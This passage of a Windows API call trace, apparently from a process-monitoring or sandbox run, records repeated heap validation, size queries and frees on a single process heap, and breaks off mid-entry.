[0070.519] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac110) returned 1 [0070.519] GetProcessHeap () returned 0x390000 [0070.519] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac110) returned 0xa0 [0070.519] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac110 | out: hHeap=0x390000) returned 1 [0070.519] GetProcessHeap () returned 0x390000 [0070.519] GetProcessHeap () returned 0x390000 [0070.519] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb90) returned 1 [0070.519] GetProcessHeap () returned 0x390000 [0070.519] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb90) returned 0x18 [0070.519] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb90 | out: hHeap=0x390000) returned 1 [0070.519] GetProcessHeap () returned 0x390000 [0070.519] GetProcessHeap () returned 0x390000 [0070.519] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc50) returned 1 [0070.519] GetProcessHeap () returned 0x390000 [0070.519] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acc50) returned 0x20 [0070.520] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc50 | out: hHeap=0x390000) returned 1 [0070.521] GetProcessHeap () returned 0x390000 [0070.521] GetProcessHeap () returned 0x390000 [0070.521] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9480) returned 1 [0070.521] GetProcessHeap () returned 0x390000 [0070.521] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a9480) returned 0x3c [0070.522] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9480 | out: hHeap=0x390000) returned 1 [0070.522] GetProcessHeap () returned 0x390000 [0070.522] GetProcessHeap () returned 0x390000 [0070.522] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad660) returned 1 [0070.522] GetProcessHeap () returned 0x390000 [0070.522] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad660) returned 0x18 [0070.522] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad660 | out: hHeap=0x390000) returned 1 [0070.522] GetProcessHeap () returned 0x390000 [0070.522] GetProcessHeap () returned 0x390000 [0070.522] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc20) returned 1 [0070.522] GetProcessHeap () returned 0x390000 [0070.522] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acc20) returned 0x20 [0070.523] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc20 | out: hHeap=0x390000) returned 1 [0070.523] GetProcessHeap () returned 0x390000 [0070.523] GetProcessHeap () returned 0x390000 [0070.523] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9430) returned 1 [0070.523] GetProcessHeap () returned 0x390000 [0070.523] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a9430) returned 0x3e [0070.523] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9430 | out: hHeap=0x390000) returned 1 [0070.523] GetProcessHeap () returned 0x390000 [0070.523] GetProcessHeap () returned 0x390000 [0070.523] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad600) returned 1 [0070.524] GetProcessHeap () returned 0x390000 [0070.524] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad600) returned 0x18 [0070.524] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad600 | out: hHeap=0x390000) returned 1 [0070.524] GetProcessHeap () returned 0x390000 [0070.524] GetProcessHeap () returned 0x390000 [0070.524] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acbf0) returned 1 [0070.524] GetProcessHeap () returned 0x390000 [0070.524] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acbf0) returned 0x20 [0070.524] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acbf0 | out: hHeap=0x390000) returned 1 [0070.524] GetProcessHeap () returned 0x390000 [0070.524] GetProcessHeap () returned 0x390000 [0070.524] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac450) returned 1 [0070.524] GetProcessHeap () returned 0x390000 [0070.524] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac450) returned 0xe [0070.524] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac450 | out: hHeap=0x390000) returned 1 [0070.524] GetProcessHeap () returned 0x390000 [0070.524] GetProcessHeap () returned 0x390000 [0070.525] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac430) returned 1 [0070.525] GetProcessHeap () returned 0x390000 [0070.525] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac430) returned 0x18 [0070.525] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac430 | out: hHeap=0x390000) returned 1 [0070.525] GetProcessHeap () returned 0x390000 [0070.525] GetProcessHeap () returned 0x390000 [0070.525] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5e10) returned 1 [0070.525] GetProcessHeap () returned 0x390000 [0070.525] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5e10) returned 0x20 [0070.525] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5e10 | out: hHeap=0x390000) returned 1 [0070.525] GetProcessHeap () returned 0x390000 [0070.525] GetProcessHeap () returned 0x390000 [0070.525] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abd10) returned 1 [0070.525] GetProcessHeap () returned 0x390000 [0070.525] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abd10) returned 0x208 [0070.526] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abd10 | out: hHeap=0x390000) returned 1 [0070.526] GetProcessHeap () returned 0x390000 [0070.526] GetProcessHeap () returned 0x390000 [0070.526] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb70) returned 1 [0070.526] GetProcessHeap () returned 0x390000 [0070.526] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb70) returned 0x18 [0070.526] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb70 | out: hHeap=0x390000) returned 1 [0070.526] GetProcessHeap () returned 0x390000 [0070.526] GetProcessHeap () returned 0x390000 [0070.526] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5d20) returned 1 [0070.526] GetProcessHeap () returned 0x390000 [0070.526] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5d20) returned 0x20 [0070.527] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5d20 | out: hHeap=0x390000) returned 1 [0070.527] GetProcessHeap () returned 0x390000 [0070.527] GetProcessHeap () returned 0x390000 [0070.527] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad3c0) returned 1 [0070.527] GetProcessHeap () returned 0x390000 [0070.527] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad3c0) returned 0x200 [0070.527] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad3c0 | out: hHeap=0x390000) returned 1 [0070.527] GetProcessHeap () returned 0x390000 [0070.527] GetProcessHeap () returned 0x390000 [0070.527] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abbb0) returned 1 [0070.527] GetProcessHeap () returned 0x390000 [0070.528] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abbb0) returned 0x18 [0070.528] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abbb0 | out: hHeap=0x390000) returned 1 [0070.528] GetProcessHeap () returned 0x390000 [0070.528] GetProcessHeap () returned 0x390000 [0070.528] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c90) returned 1 [0070.528] GetProcessHeap () returned 0x390000 [0070.528] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5c90) returned 0x20 [0070.528] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c90 | out: hHeap=0x390000) returned 1 [0070.528] GetProcessHeap () returned 0x390000 [0070.528] GetProcessHeap () returned 0x390000 [0070.528] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac320) returned 1 [0070.528] GetProcessHeap () returned 0x390000 [0070.528] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac320) returned 0x14 [0070.528] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac320 | out: hHeap=0x390000) returned 1 [0070.528] GetProcessHeap () returned 0x390000 [0070.528] GetProcessHeap () returned 0x390000 [0070.528] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac300) returned 1 [0070.528] GetProcessHeap () returned 0x390000 [0070.529] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac300) returned 0x18 [0070.529] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac300 | out: hHeap=0x390000) returned 1 [0070.529] GetProcessHeap () returned 0x390000 [0070.529] GetProcessHeap () returned 0x390000 [0070.529] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5bd0) returned 1 [0070.529] GetProcessHeap () returned 0x390000 [0070.529] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5bd0) returned 0x20 [0070.529] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5bd0 | out: hHeap=0x390000) returned 1 [0070.529] GetProcessHeap () returned 0x390000 [0070.529] GetProcessHeap () returned 0x390000 [0070.529] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac340) returned 1 [0070.529] GetProcessHeap () returned 0x390000 [0070.529] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac340) returned 0x16 [0070.529] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac340 | out: hHeap=0x390000) returned 1 [0070.529] GetProcessHeap () returned 0x390000 [0070.529] GetProcessHeap () returned 0x390000 [0070.529] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac1c0) returned 1 [0070.529] GetProcessHeap () returned 0x390000 [0070.530] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ac1c0) returned 0x18 [0070.530] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ac1c0 | out: hHeap=0x390000) returned 1 [0070.530] GetProcessHeap () returned 0x390000 [0070.530] GetProcessHeap () returned 0x390000 [0070.530] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ba0) returned 1 [0070.530] GetProcessHeap () returned 0x390000 [0070.530] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5ba0) returned 0x20 [0070.530] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ba0 | out: hHeap=0x390000) returned 1 [0070.530] GetProcessHeap () returned 0x390000 [0070.530] GetProcessHeap () returned 0x390000 [0070.530] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abaf0) returned 1 [0070.530] GetProcessHeap () returned 0x390000 [0070.530] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abaf0) returned 0x2 [0070.530] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abaf0 | out: hHeap=0x390000) returned 1 [0070.530] GetProcessHeap () returned 0x390000 [0070.531] GetProcessHeap () returned 0x390000 [0070.531] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a59f0) returned 1 [0070.531] GetProcessHeap () returned 0x390000 [0070.531] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a59f0) returned 0x20 [0070.531] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a59f0 | out: hHeap=0x390000) returned 1 [0070.531] GetProcessHeap () returned 0x390000 [0070.531] GetProcessHeap () returned 0x390000 [0070.531] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a20) returned 1 [0070.531] GetProcessHeap () returned 0x390000 [0070.531] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5a20) returned 0x20 [0070.532] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a20 | out: hHeap=0x390000) returned 1 [0070.532] GetProcessHeap () returned 0x390000 [0070.532] GetProcessHeap () returned 0x390000 [0070.532] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a50) returned 1 [0070.532] GetProcessHeap () returned 0x390000 [0070.532] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5a50) returned 0x20 [0070.533] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a50 | out: hHeap=0x390000) returned 1 [0070.533] GetProcessHeap () returned 0x390000 [0070.533] GetProcessHeap () returned 0x390000 [0070.533] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a80) returned 1 [0070.533] GetProcessHeap () returned 0x390000 [0070.533] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5a80) returned 0x20 [0070.533] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5a80 | out: hHeap=0x390000) returned 1 [0070.533] GetProcessHeap () returned 0x390000 [0070.533] GetProcessHeap () returned 0x390000 [0070.534] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc80) returned 1 [0070.534] GetProcessHeap () returned 0x390000 [0070.534] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acc80) returned 0x20 [0070.534] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acc80 | out: hHeap=0x390000) returned 1 [0070.534] GetProcessHeap () returned 0x390000 [0070.534] GetProcessHeap () returned 0x390000 [0070.534] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad760) returned 1 [0070.534] GetProcessHeap () returned 0x390000 [0070.534] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad760) returned 0xe [0070.534] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad760 | out: hHeap=0x390000) returned 1 [0070.534] GetProcessHeap () returned 0x390000 [0070.534] GetProcessHeap () returned 0x390000 [0070.534] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3accb0) returned 1 [0070.534] GetProcessHeap () returned 0x390000 [0070.534] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3accb0) returned 0x20 [0070.535] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3accb0 | out: hHeap=0x390000) returned 1 [0070.535] GetProcessHeap () returned 0x390000 [0070.535] GetProcessHeap () returned 0x390000 [0070.535] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7b80) returned 1 [0070.535] GetProcessHeap () returned 0x390000 [0070.535] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a7b80) returned 0x30 [0070.535] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7b80 | out: hHeap=0x390000) returned 1 [0070.535] GetProcessHeap () returned 0x390000 [0070.535] GetProcessHeap () returned 0x390000 [0070.536] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acce0) returned 1 [0070.536] GetProcessHeap () returned 0x390000 [0070.536] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acce0) returned 0x20 [0070.536] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acce0 | out: hHeap=0x390000) returned 1 [0070.536] GetProcessHeap () returned 0x390000 [0070.536] GetProcessHeap () returned 0x390000 [0070.536] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7bc0) returned 1 [0070.536] GetProcessHeap () returned 0x390000 [0070.536] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a7bc0) returned 0x30 [0070.537] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a7bc0 | out: hHeap=0x390000) returned 1 [0070.537] GetProcessHeap () returned 0x390000 [0070.537] GetProcessHeap () returned 0x390000 [0070.537] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace60) returned 1 [0070.537] GetProcessHeap () returned 0x390000 [0070.537] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace60) returned 0x20 [0070.538] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace60 | out: hHeap=0x390000) returned 1 [0070.538] GetProcessHeap () returned 0x390000 [0070.538] GetProcessHeap () returned 0x390000 [0070.538] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad680) returned 1 [0070.538] GetProcessHeap () returned 0x390000 [0070.538] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad680) returned 0xe [0070.538] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad680 | out: hHeap=0x390000) returned 1 [0070.538] GetProcessHeap () returned 0x390000 [0070.538] GetProcessHeap () returned 0x390000 [0070.538] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace30) returned 1 [0070.538] GetProcessHeap () returned 0x390000 [0070.538] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace30) returned 0x20 [0070.539] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace30 | out: hHeap=0x390000) returned 1 [0070.539] GetProcessHeap () returned 0x390000 [0070.539] GetProcessHeap () returned 0x390000 [0070.539] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6a0) returned 1 [0070.539] GetProcessHeap () returned 0x390000 [0070.539] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad6a0) returned 0x16 [0070.539] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6a0 | out: hHeap=0x390000) returned 1 [0070.539] GetProcessHeap () returned 0x390000 [0070.539] GetProcessHeap () returned 0x390000 [0070.539] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace00) returned 1 [0070.539] GetProcessHeap () returned 0x390000 [0070.539] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ace00) returned 0x20 [0070.539] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ace00 | out: hHeap=0x390000) returned 1 [0070.540] GetProcessHeap () returned 0x390000 [0070.540] GetProcessHeap () returned 0x390000 [0070.540] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6c0) returned 1 [0070.540] GetProcessHeap () returned 0x390000 [0070.540] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad6c0) returned 0x16 [0070.540] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad6c0 | out: hHeap=0x390000) returned 1 [0070.540] GetProcessHeap () returned 0x390000 [0070.540] GetProcessHeap () returned 0x390000 [0070.540] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acdd0) returned 1 [0070.540] GetProcessHeap () returned 0x390000 [0070.540] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acdd0) returned 0x20 [0070.540] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acdd0 | out: hHeap=0x390000) returned 1 [0070.540] GetProcessHeap () returned 0x390000 [0070.540] GetProcessHeap () returned 0x390000 [0070.540] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3c9ae0) returned 1 [0070.540] GetProcessHeap () returned 0x390000 [0070.540] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3c9ae0) returned 0x82 [0070.541] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3c9ae0 | out: hHeap=0x390000) returned 1 [0070.541] GetProcessHeap () returned 0x390000 [0070.541] GetProcessHeap () returned 0x390000 [0070.541] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acda0) returned 1 [0070.541] GetProcessHeap () returned 0x390000 [0070.541] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acda0) returned 0x20 [0070.542] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acda0 | out: hHeap=0x390000) returned 1 [0070.542] GetProcessHeap () returned 0x390000 [0070.542] GetProcessHeap () returned 0x390000 [0070.542] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad700) returned 1 [0070.542] GetProcessHeap () returned 0x390000 [0070.542] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad700) returned 0xe [0070.542] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad700 | out: hHeap=0x390000) returned 1 [0070.542] GetProcessHeap () returned 0x390000 [0070.542] GetProcessHeap () returned 0x390000 [0070.542] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd70) returned 1 [0070.542] GetProcessHeap () returned 0x390000 [0070.542] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd70) returned 0x20 [0070.543] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd70 | out: hHeap=0x390000) returned 1 [0070.543] GetProcessHeap () returned 0x390000 [0070.543] GetProcessHeap () returned 0x390000 [0070.543] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad720) returned 1 [0070.543] GetProcessHeap () returned 0x390000 [0070.543] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad720) returned 0xa [0070.543] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad720 | out: hHeap=0x390000) returned 1 [0070.543] GetProcessHeap () returned 0x390000 [0070.543] GetProcessHeap () returned 0x390000 [0070.543] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd40) returned 1 [0070.543] GetProcessHeap () returned 0x390000 [0070.543] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd40) returned 0x20 [0070.544] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd40 | out: hHeap=0x390000) returned 1 [0070.544] GetProcessHeap () returned 0x390000 [0070.544] GetProcessHeap () returned 0x390000 [0070.544] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad740) returned 1 [0070.544] GetProcessHeap () returned 0x390000 [0070.544] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ad740) returned 0xc [0070.544] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ad740 | out: hHeap=0x390000) returned 1 [0070.544] GetProcessHeap () returned 0x390000 [0070.544] GetProcessHeap () returned 0x390000 [0070.544] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd10) returned 1 [0070.544] GetProcessHeap () returned 0x390000 [0070.544] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3acd10) returned 0x20 [0070.545] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3acd10 | out: hHeap=0x390000) returned 1 [0070.545] GetProcessHeap () returned 0x390000 [0070.545] GetProcessHeap () returned 0x390000 [0070.545] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb10) returned 1 [0070.545] GetProcessHeap () returned 0x390000 [0070.545] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb10) returned 0x18 [0070.545] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb10 | out: hHeap=0x390000) returned 1 [0070.546] GetProcessHeap () returned 0x390000 [0070.546] GetProcessHeap () returned 0x390000 [0070.546] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ab0) returned 1 [0070.546] GetProcessHeap () returned 0x390000 [0070.546] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5ab0) returned 0x20 [0070.547] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ab0 | out: hHeap=0x390000) returned 1 [0070.547] GetProcessHeap () returned 0x390000 [0070.547] GetProcessHeap () returned 0x390000 [0070.547] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ae0) returned 1 [0070.547] GetProcessHeap () returned 0x390000 [0070.547] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5ae0) returned 0x20 [0070.548] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5ae0 | out: hHeap=0x390000) returned 1 [0070.548] GetProcessHeap () returned 0x390000 [0070.548] GetProcessHeap () returned 0x390000 [0070.548] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b10) returned 1 [0070.548] GetProcessHeap () returned 0x390000 [0070.548] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5b10) returned 0x20 [0070.549] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b10 | out: hHeap=0x390000) returned 1 [0070.549] GetProcessHeap () returned 0x390000 [0070.549] GetProcessHeap () returned 0x390000 [0070.549] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b40) returned 1 [0070.549] GetProcessHeap () returned 0x390000 [0070.549] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5b40) returned 0x20 [0070.550] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b40 | out: hHeap=0x390000) returned 1 [0070.550] GetProcessHeap () returned 0x390000 [0070.550] GetProcessHeap () returned 0x390000 [0070.550] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb30) returned 1 [0070.550] GetProcessHeap () returned 0x390000 [0070.550] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb30) returned 0x18 [0070.550] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb30 | out: hHeap=0x390000) returned 1 [0070.550] GetProcessHeap () returned 0x390000 [0070.550] GetProcessHeap () returned 0x390000 [0070.550] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b70) returned 1 [0070.550] GetProcessHeap () returned 0x390000 [0070.550] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5b70) returned 0x20 [0070.551] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5b70 | out: hHeap=0x390000) returned 1 [0070.551] GetProcessHeap () returned 0x390000 [0070.551] GetProcessHeap () returned 0x390000 [0070.551] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c00) returned 1 [0070.601] GetProcessHeap () returned 0x390000 [0070.601] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5c00) returned 0x20 [0070.603] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c00 | out: hHeap=0x390000) returned 1 [0070.603] GetProcessHeap () returned 0x390000 [0070.603] GetProcessHeap () returned 0x390000 [0070.603] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c60) returned 1 [0070.603] GetProcessHeap () returned 0x390000 [0070.603] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5c60) returned 0x20 [0070.603] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5c60 | out: hHeap=0x390000) returned 1 [0070.603] GetProcessHeap () returned 0x390000 [0070.604] GetProcessHeap () returned 0x390000 [0070.604] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5cc0) returned 1 [0070.604] GetProcessHeap () returned 0x390000 [0070.604] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5cc0) returned 0x20 [0070.604] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5cc0 | out: hHeap=0x390000) returned 1 [0070.604] GetProcessHeap () returned 0x390000 [0070.604] GetProcessHeap () returned 0x390000 [0070.604] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5cf0) returned 1 [0070.604] GetProcessHeap () returned 0x390000 [0070.605] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a5cf0) returned 0x20 [0070.605] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5cf0 | out: hHeap=0x390000) returned 1 [0070.605] GetProcessHeap () returned 0x390000 [0070.605] GetProcessHeap () returned 0x390000 [0070.605] HeapValidate (hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb50) returned 1 [0070.605] GetProcessHeap () returned 0x390000 [0070.605] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb50) returned 0x18 [0070.605] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb50 | out: 